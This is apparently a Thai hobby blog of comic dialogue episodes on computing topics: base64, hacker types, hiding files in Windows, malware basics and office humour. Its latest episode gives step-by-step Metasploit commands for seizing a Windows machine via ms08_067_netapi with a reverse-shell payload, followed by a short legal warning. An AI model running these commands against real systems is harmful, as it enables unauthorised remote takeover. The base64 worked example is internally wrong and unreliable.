ตอน7 ยึดเครื่องด้วย metasploit

วันนี้พี่จันจะมาสอนการยึดเครื่องด้วย metasploit กันนะครับ

1. เปิดหน้าต่าง terminalขึ้นมาแล้วพิมพ์คำสั่ง  msfconsole

2.เรียกใช้โมดูล exploit ms08_067_netapi โดยพิมพ์คำสั่ง use exploit/windows/smb/ms08_067_netapi

3.กำหนดให้ไปยังเครื่องเป้าหมาย โดยใช้คำสั่ง set RHOST IPเป้าหมาย

4.กำหนด payload ที่ใช้แนบไปกับexploit โดยใช้คำสั่ง set PAYLOAD windows/meterpeter/reverse_tcp

5.กำหนดหมายเลขIPและพอร์ตของเครื่องเราที่จะให้เชื่อมต่อกลับมาโดยใช้คำสั่ง set LHOST ตามด้วยIPเครื่องเรา และคำสั่ง set LPORT ตามด้วยportที่เปิดไว้

6.จากนั้นเริ่มโจมตีด้วยคำสั่ง exploit เป็นการเสร็จเรียบร้อยสามารถยึดเครื่องได้แล้ว

7.เมื่อเข้ามาแล้วสามารถเช็คเครื่องป้าหมายโดยใช้คำสั่ง sysinfo

ปล.อย่านำไปใช้ในทางที่ผิดกันนะครับ มันเป็นสิ่งไม่ดี ผิด พรบคอมพิวเตอร์กัน

ตอนที่6 วิธีการเข้ารหัส-ถอดรหัส base64

อิน:จันไอ้ base64มันคืออะไรอ่ะ เห็นเพื่อนมันพูดกัน
จัน:Base64 เป็นวิธีการเข้ารหัสอย่างหนึ่งทำโดยเปลี่ยนจากคำหรือข้อความไปเป็นรูปแบบที่ไม่สามารถอ่านได้ง่ายสำหรับวิธีการเข้ารหัสแบบ base64
อิน:แล้วมันมีหลักการยังไงหรอ
จัน:ยกตัวอย่างคำว่า ?MOS? ต้องการเข้ารหัสแบบ base64 ขั้นตอนแรกให้ถอดค่ารหัส ASCII ของแต่ละตัวอักขระ

จัน:ต่อจากนั้นให้เปลี่ยนเป็นระบบเลขฐาน 2 และเขียนติดกันดังนี้ 01001101010011110101001101010100

จัน:ตัดสตริงของบิตดังกล่าวออกเป็นช่วงละ 6 บิต010011   010100   111101   010011   010100   

จัน:ซึ่งจะได้เลขในระบบฐาน 10 ดังนี้  19   20   61   19   20

จัน:เปลี่ยนจากเลขในระบบฐาน 10 ที่ได้ให้เป็นอักขระ base64 โดยใช้ตาราง Base64 Encoding

จัน:ดังนั้นคำว่า ?MOS? เมื่อได้เข้ารหัสแบบ base64 จะถูกเปลี่ยนเป็น ?TU9TU?

ตอนที่5 เข้าใจหัวอกโผมมบ้างง

ณ ที่ ทำงานของจัน
หัวหน้า : จัน คอมพังซ่อมให้หน่อยนะ
เพื่อนร่วมงานคนที่1 : จัน ลงwindowsใหม่ให้หน่อยสิ
เพื่อนร่วมงานคนที่2 : จัน เครื่องปริ้นเสีย มันเป็นอะไรหรอ
เพื่อนร่วมงานคนที่3 : จัน ช่วยไปเลือกซื้อคอมให้หน่อยสิ
เพื่อนร่วมงานคนที่4 : จัน เน็ตเล่นไม่ได้ ทำให้หน่อย
เพื่อนร่วมงานคนที่5 : จัน โหลดโปรแกรมโหลดยังไง
แล้วคนนู่นคนนี่ก็มาๆๆๆๆๆๆๆๆๆๆๆๆๆๆๆๆใช้จัน!!
จัน ได้แต่ตอบว่า
จัน: ครับ!!! ทั้งๆที่ข้างในใจพูดกับตัวเองว่า(ไอ้สาดดดด ตอนกูมาสมัครงาน ตำแหน่งกูโปรแกรมเมอร์ แต่แม่งดันใช้กูทุกเรื่อง ตบสักทีดีไหม T_T)
ปล.คนที่จบคอมมาไม่ได้แปลว่าจะรู้หรือทำงานเกี่ยวกับคอมเป็นทุกเรื่องนะครับ ก่อนจะใช้งานควรถามด้วยว่า มึง!!ถนัดด้านไหน นะฮ้าาาา

ตอนที่4 ชื่อตอน hacker ผิดตลอด

อิน:จัน!!วันก่อนได้ดูข่าวป่ะ!! ข่าวที่hacker แฮกเข้าไป เวปไซด์ ราชการหลายที่เลยอ่ะ แม่งงง hacker นี่โคตร ชั่ว เลว เหี้ย ต่ำช้า วันๆไม่มีอะไรทำกันหรือไง
ชอบมาแฮกชาวบ้านชาวช่องเขาเนี้ย อย่าให้เจอนะ จะตบคว่ำ กระโดดถีบ ตีนคู่เลยทีเดียว พึมพำๆๆ
จัน:T_T บ่นซะยาวเลยนะ ฟังไม่ทัน
อิน:ก็มันจริงนี่น่า มันน่าโมโหมั้ยล่ะ
จัน: นิ จัน!! รู้มั้ยว่า hacker คือใคร อะไร อย่างไง มันไม่ได้มีแค่ hacker อย่างเดียวหรอกนะ มันมี CrackerและScript Kiddies อีกนะ
อิน:ไม่รู้อ่ะ คืออะไรแล้วมันต่างกันยังไงหรอในเมื่อมันก็ hack คนอื่นเหมือนกันนิ อยากรู้บอกหน่อยจิ
จัน:เอาง่ายๆเลยนะ hacker ก็คือ ผู้ที่เจาะระบบเข้าไปได้ แต่ไม่ทำการแก้ไขหรือลบข้อมูลของคนอื่นแต่อย่างใดและยังแจ้งเตือนระบบนั้นๆอีกด้วย  ส่วนคำว่า Cracker ก็คือ ผู้ที่เจาะระบบเหมือนhacker นั่นแหละแต่แตกต่างกันที่ cracker จะแก้ไข ดัดแปลง หรือทำลาย ระบบนั้นๆ
hackerกับCrackerจะชำนาญในด้านระบบคอมพิวเตอร์สูงมากและมีอีกประเภทหนึ่งประเภทสุดท้ายล่ะก็คือ Script Kiddies
Script Kiddies จะไม่ค่อยเชี่ยวชาญในด้านระบบคอมพิวเตอร์มากนักส่วนใหญ่จะใช้Tool ที่hackerและcrackerสร้างขึ้นมามากกว่า
อิน:อ่อๆเข้าใจแล้วๆทุกวันนี้พวกเราเข้าใจผิดมาตลอดเลยนึกว่า Hacker เป็นคนไม่ดี
จัน:ต่อไปนี้ก็เรียกใหม่ให้ถูกนะ hacker ดีๆเขาจะได้ไม่น้อยใจ
อิน:อืมมม(ทำหน้าหื่น)อยากเป็นhackerแล้วสิจะได้hackเข้าไปโหลดเวปโป๊ดูก่อนใครๆ
จัน:เอาอีกแล้วนะยังไม่เข็ดอีกหราาา
อิน:555 ไม่เอาแล้วจร้าาา เข็ดแล้วๆ

ตอนที่3 วิธีเปิด fileที่ซ่อนไว้

อิน:จันจ๋าาาาา.....ช่วยบอกวิธีเปิด file ที่ซ่อนเอาไว้ก่อนหน้านี้ให้หน่อยนร้าาาา นะๆๆๆ
จัน:ไม่ๆๆๆๆๆ!!! ข้อหามาหลอกกัน ชิ!!
อิน:โอ๋ๆๆๆๆๆ เด๋วพาไปเลี้ยงอาหารญี่ปุ่นนะ
จัน:อ่ะๆๆ ก็ได้ๆ แต่อย่าเอาไปซ่อนอย่างอื่นอีกล่ะ ไม่งั้นไม่ช่วยแล้ว
อิน:0+0 ได้เลยครับผม พี่จันสุดหล่อออ
จัน:แหม่ๆๆๆ แบบนี้อ่ะอ้อนใหญ่เชียวนะ
  1.สำหรับ windows7นะ ให้เข้าไป file ที่ซ่อนไว้
2.ตรง toolbar จะมีคำว่า Organize คลิกเข้าไปเลย
3.คลิกเข้าไป Folder and Search Options
4.คลิกที่ View
5.ติ้กถูกที่ show hidden files,folder,or drives
6.กด OK
อิน:ว้าวววว!!สุดยอดอ่ะ เด๋วซื้ออาหารญุ่ปุ่นมาให้เป็นค่าตอบแทนนะ
จัน:ได้ๆมีอะไรก็มาปรึกษาล่ะ  คิดในใจ(หวานปากกูล่ะ)
อิน:คร้าบบบผม
.......วันต่อมา............
จัน:อืมมมม......อาหารญุ่ปุ่นจริงๆด้วย แถมต้มน้ำใส่ 1 นาที ได้กินเลย ไอ้แสรดดดดดดดดดดดจัน!!!
.......หลังจากวันนั้นจันก็ได้ไปนอนโรงพยาบาลอยู่2วัน..........
ปล.สำหรับตอนที่2นะคร้าบบบบถ้า file ยังไม่ซ่อนล่ะก้อให้ทำตามขั้นตอนที่3 แล้ว ติ้กที่ Don't show hidden files,folder,or drives นะคร้าาบบบ

ตอนที่2 ซ่อน File ยังไงไม่ให้คนอื่นรู้

อิน:โว้ยยยย!!!เซงๆๆๆๆ
จัน:เป็นอะไรว่ะ เซงมาแต่เช้าเลย
อิน:ก็โหลดหนังมาอ่ะสิ แฟนลบทิ้งไปหมดเลย จะทำยังไงดีล่ะ เนี้ย!!! เซงๆๆ
จัน:มีวิธีซ่อน file อยู่นะ แต่จะทำให้
อิน:ว้าววว!!! มีวิธีนี้ด้วยหรอเนี้ย ทำยังไงๆ ทำให้ดูหน่อยสิ ไวๆเลย
จัน:.ใช้จังเลยนร้าาาา 1.คลิกขวาที่ file ที่เราต้องการซ่อน 2.คลิกเลือกคำว่า Properties 3.ติ้กถูกที่ช่อง hidden 4.คลิก OK หลังจากนั้น file ก็จะถูกซ่อนเอาไว้
อิน:ว้าววว!!เจ๋งเป้ง  ทีนี้ล่ะจะได้ซ่อนหนังโป๊ แฟนได้แล้ว โดยที่แฟนไม่รู้ตัว 55555(ขำแบบมีมหาอำนาจ)
จัน:ตอนแรกที่บอกว่าโหลดหนัง มรึงงง โหลดหนังโป๊ใช่มั้ยยย!!!
อิน:เผ่นล่ะตู!!!

ตอนที่1 malware

อิน : โว้ยยยย.....หงุดหงิด  คอมเป็นอะไรไม่รู้อ่ะ อยู่ดีๆก็รวน ช่วยดูให้หน่อยสิ
จัน: คอมเป็นอะไรว่ะ...ไหนขอดูหน่อยสิ
จัน:หา!!!คอมติด malware
อิน:??? เอ่อ...., malware คืออะไรว่ะ งง??
จัน:malware เป็นโปรแกรมประสงค์ร้ายต่างๆ เช่นvirus,worm,trojan horse อะไรประมาณนั้นน่ะ
อิน:อืม....แล้วพอจะมีวิธีป้องกันบ้างหรือป่าววว???
จัน:มีสิ 1.ติดตั้งโปรแกรมแสกนไวรัสและสปายแวร์ 2.ติดตั้งfirewallที่เครื่อง 3.หมั่นอัพเดตโปรแกรมอย่างสม่ำเสมอ 5.ติดตามข่าวสารอยู่เป็นประจำ ทั้งนี้ทั้งนั้นก็ไม่ได้หมายความว่าจะปลอดภัย100%นะ จัน
อิน:อ่อๆเข้าใจแล้วล่ะ อิน ถ้าไม่ทำตามที่บอกก็ได้ใช่ป่ะ มันไม่มีผลชิมิ??
จัน:ใครบอกล่ะ!!! มีผลกระทบมากเลยล่ะ เช่น ทำให้คอมรวน ค้าง  บ่อยๆ บางทีก็ยังสามารถเข้ามาขโมยข้อมูลในเครื่องของเราได้ด้วยนะ และก็ทำลายให้อุปกรณ์ฮาร์ดแวร์ ซอฟท์แวร์หรือข้อมูลได้อีกด้วย
อิน:ฉิบหายยย!!!ล่ะ หนังโป๊อยู่ในเครื่องเต็มเลย ต้องไปป้องกันและอัพเกรดคอมพิวเตอร์ตัวเองซะแล้วสิ
จัน: เงิบบบบเลยกู

เกร็ดความรู้:malware(มัลแวร์) ย่อมาจาก Malicious Software ซึ่งใช้แทนโปรแกรมประสงค์ร้าย เช่น virus,worm,trojan horse ซึ่งเป็นโปรแกรมที่เป็นอันตรายต่อระบบคอมพิวเตอร์ ดังนั้น virus,wormหรือtrojan horse คืออะไร แล้วแตกต่างจาก trojan horse อย่างไร
virus คือ เป็นโปรแกรมที่สามารถติดต่อจากไฟล์หนึ่งไปยังอีกไฟล์หนึ่ง มันสามารถทำลายฮาร์ดแวร์หรือข้อมูล เมื่อโฮสต์รันโปรแกรมที่ติดvirus
worm คือ โปรแกรมที่สามารถแพร่กระจายตัวเองได้โดยอัติโนมัติและไม่ต้องอาศัยโปรแกรมอื่นในการแพร่กระจาย
trojan horse คือโปรแกรมที่แฝงโค้ดสำหรับการใช้ประโยชน์หรือทำลายเมื่อรันโปแกรมนี้ เป็นต้น
โปรดติดตามตอนต่อไปนะคร้าบบบบ